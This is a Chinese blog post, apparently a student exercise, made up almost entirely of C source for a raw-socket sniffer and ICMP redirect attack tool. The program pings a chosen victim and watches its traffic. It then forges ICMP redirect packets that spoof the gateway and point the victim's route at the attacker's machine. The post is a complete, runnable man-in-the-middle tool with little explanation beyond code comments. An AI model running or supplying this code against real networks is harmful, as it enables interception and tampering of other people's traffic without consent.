raw socket探嗅和icmp重定向

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<netinet/ip_icmp.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ether.h>
#include<sys/types.h>
#include<errno.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<linux/tcp.h>
#include<unistd.h>
#define BUFFSIZE 2048


unsigned char * target;
unsigned char * netgate;
unsigned char * attaker;

 

 

u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0;
u_int16_t *cbuf;

cbuf=(u_int16_t *)buf;

while(len>1)
{
sum+=*cbuf++;
len-=2;
}

if(len)
sum+=*(u_int8_t *)cbuf;

sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);

return ~sum;
}


void icmping(unsigned char * target){
char buff[28]={0};
int send;
int sockfd3;

if((sockfd3=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{ perror("socket error!");exit(1); }

send = 0;//发送计数器
//判断ip
printf("%s",target);

struct icmp * icmp = (struct icmp*)(buff);//强制类型转换


//定义icmp类型为ping的请求包
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
icmp->icmp_id = 2;
icmp->icmp_seq = 3;


struct sockaddr_in dest_t = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};
while(send < 2)
{
send++;
icmp->icmp_seq = icmp->icmp_seq+1;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = checksum((u_int8_t *)icmp,8);
sendto(sockfd3, buff, 28,0,(struct sockaddr *)&dest_t,sizeof(dest_t));//参数意思分别为,套接字sockdf,发送载荷的缓冲区,载荷长度,flags参数(0为常规),目的IP信息,sockaddr结构体长度
//sleep(1);//sendto返回的是实际的发送的数据量
}
close(sockfd3);
}

void redirect(unsigned char *target,unsigned char * attaker,unsigned char * netgate,struct ip** ip){

printf("redirect strat!\n");

int sockfd;
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
printf("sock error\n");
}

const int on = 1;
if(setsockopt(sockfd,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0)
{
printf("set socket option error!\n");
}


u_char out_packet[20 + 8 + 28]; //20为ip头部 8字节icmp头 28字节为针对的原始ip首部20字节及数据部分前8字节

struct ip *iph = (struct ip *)out_packet; //强制类型转换ipHeader

struct icmp *icmph = (struct icmp *)(out_packet + 20); //icmpHeader

//填充ip头部内容

iph->ip_v = 4;

iph->ip_hl = 5;

iph->ip_tos = 0;

iph->ip_ttl = 255;

iph->ip_len = 56;

iph->ip_id = 0;

iph->ip_off = 0;

iph->ip_p = 1;

iph->ip_src.s_addr = inet_addr(netgate); //源地址为网关地址

iph->ip_dst.s_addr = inet_addr(target); //目的地址为被攻击机地址

//填充icmp头部

icmph->icmp_type = 5;

icmph->icmp_code = 1;

icmph->icmp_hun.ih_gwaddr.s_addr = inet_addr(attaker); //重定向到攻击者地址

memcpy(out_packet+28,*ip,28);

iph->ip_sum =0;

icmph->icmp_cksum = 0;

iph->ip_sum = checksum(out_packet,20);

icmph->icmp_cksum = checksum(out_packet + 20,36);

struct sockaddr_in dest = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};

/*struct sockaddr_in ng = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(netgate) // 设置地址为
}
};
*/
printf("包已构建\n");
if(sendto(sockfd, &out_packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0)
{
printf("Error number: %d\n", errno);
exit(-1);
}

/*if(sendto(sockfd, &out_packet, 56, 0, (struct sockaddr *)&ng, sizeof(ng)) < 0)
{
printf("Error number: %d\n", errno);
exit(-1);
}
*/
close(sockfd);
}


int main(int argc, char * argv[]){

int rawsock;

unsigned char buff[BUFFSIZE];
int n;
int count = 0;

if(argc != 4){
printf("argument is not enough");
exit(1);
}
target=argv[1];
attaker=argv[2];
netgate=argv[3];
printf("agrment normal\n");
rawsock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(rawsock < 0){
printf("raw socket error!\n");
exit(1);
}

//建立socket文件描述符是否失败



icmping(target);
while(1){
n = recvfrom(rawsock,buff,BUFFSIZE,0,NULL,NULL);
if(n<0){
printf("receive error!\n");
exit(1);
}

count++;
printf("get packet+\n");
struct ip *ip = (struct ip*)(buff+14);
printf("src.ip==%s\n",(unsigned char*)inet_ntoa(ip->ip_src));
int flag=0;
for(int len=0;len<15;){
if(((unsigned char*)inet_ntoa(ip->ip_src))[len]==target[len]){
len++;
flag=1;
}
else
{
flag=0;
break;
}
}
if(flag==1)
//for(int count=0;count<4;count++)
redirect(target,attaker,netgate,&ip);
//icmping(target);
//printf("%4d %15s",count,inet_ntoa(ip->ip_src));
//printf("%15s %5d %5d\n",inet_ntoa(ip->ip_dst),ip->ip_p,n);

 

}
}

 

 

将就看吧

posted @ 2021-01-02 19:27  huhuf6  阅读(250)  评论(0编辑  收藏  举报